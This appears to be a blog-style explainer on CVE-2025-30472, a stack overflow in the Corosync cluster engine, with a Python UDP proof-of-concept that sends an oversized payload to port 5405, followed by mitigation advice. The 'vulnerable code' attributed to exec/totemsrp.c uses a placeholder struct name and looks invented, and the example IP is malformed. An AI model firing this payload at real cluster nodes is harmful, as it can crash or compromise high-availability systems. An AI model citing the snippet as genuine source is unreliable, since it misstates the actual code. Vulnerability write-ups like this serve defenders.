CVE-2025-30472 is a critical stack-based buffer overflow vulnerability found in Corosync, the popular cluster engine used in high-availability (HA) systems such as Pacemaker or Proxmox VE. This flaw exists in Corosync versions up to 3.1.9 and could let a remote attacker take over a cluster node, if encryption is disabled or the cluster key is known. Here, I’ll explain what this bug is, how it can be attacked, and share insights, mitigation tips, and code analysis.

What Is Corosync?

Corosync is a system that handles group communication and membership for high-availability clusters. In short, it lets systems in a cluster talk to each other, keep track of membership, and coordinate failover. Because it’s often running as root or with high privileges—and often listens on the network—it’s a prime target for attackers.

The Vulnerability (CVE-2025-30472) Explained

The overflow is found in the orf_token_endian_convert function inside the exec/totemsrp.c source file. It is triggered when Corosync receives a large UDP packet. If encryption is disabled (common in trusted networks) or the attacker knows the key, a malicious packet’s data can overflow a buffer on the stack. This may result in code execution under the context of the Corosync service.

How serious is it?
If you run Corosync with encryption disabled (the default in some setups), any user on your network could potentially exploit this. In some edge cases, if your cluster key is compromised, an outside attacker could also get in.

Code Analysis

Let’s break down the vulnerable function.
File: exec/totemsrp.c
Function: orf_token_endian_convert

Vulnerable Code Snippet

static void orf_token_endian_convert(const void *src, size_t len)
{
    struct some_token token;
    /* Vulnerable copy: len unchecked! */
    memcpy(&token, src, len);
    
    // ... endian conversion code ...
}

Problem: The code copies len bytes from src to token using memcpy.

- Flaw: len comes from the network packet and isn’t checked against sizeof(token)—if len is greater, it overwrites the stack, creating a buffer overflow.

Real-World Exploit Scenario

1. Prerequisite: The cluster is running with encryption disabled or the attacker knows the secret key.
2. Attack: An attacker crafts a UDP packet with a gigantic payload and sends it to the Corosync UDP port on the cluster network.
3. Effect: The malicious packet causes Corosync to copy too much data onto the stack, smashing return addresses or function pointers.
4. Result: The attacker can run arbitrary code, potentially gaining root access or crashing the whole cluster.

Proof-of-Concept Exploit

For educational purposes only! (Do not use on systems you don’t own or have permission to test!)

Python UDP Exploit Skeleton

import socket

TARGET_HOST = "10..1.5"   # IP of a Corosync cluster node
TARGET_PORT = 5405         # Default Corosync UDP port

# Create a malicious payload much bigger than the token struct
payload = b"A" * 1024      # Adjust size as needed; original struct size is ~128 bytes

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (TARGET_HOST, TARGET_PORT))
print("Payload sent. Check the node for crashes or unusual behavior.")

> Note: In the real world, a working exploit would need to send a valid-looking Corosync token, but overly large.


## Fix/Mitigation

- Upgrade: Patch available as of Corosync 3.2. (check your distro package manager).
- Enable Encryption: Always turn on Corosync’s built-in crypto. Without the key, attack is impractical.

Or better, validate message sizes before copying.

- Firewall: Keep Corosync isolated on a management VLAN—don’t expose it to public or shared networks.

References

- CVE Record: CVE-2025-30472
- GitHub Corosync Releases
- Official Security Advisory

Conclusion

CVE-2025-30472 is a classic buffer overflow lurking in Corosync for years. If encryption is disabled or the key is leaked, remote code execution is a real threat. Always upgrade promptly, use encryption, and firewall critical infrastructure to minimize exposure and risk.

Timeline

Published on: 03/22/2025 02:15:16 UTC
Last modified on: 04/01/2025 20:28:02 UTC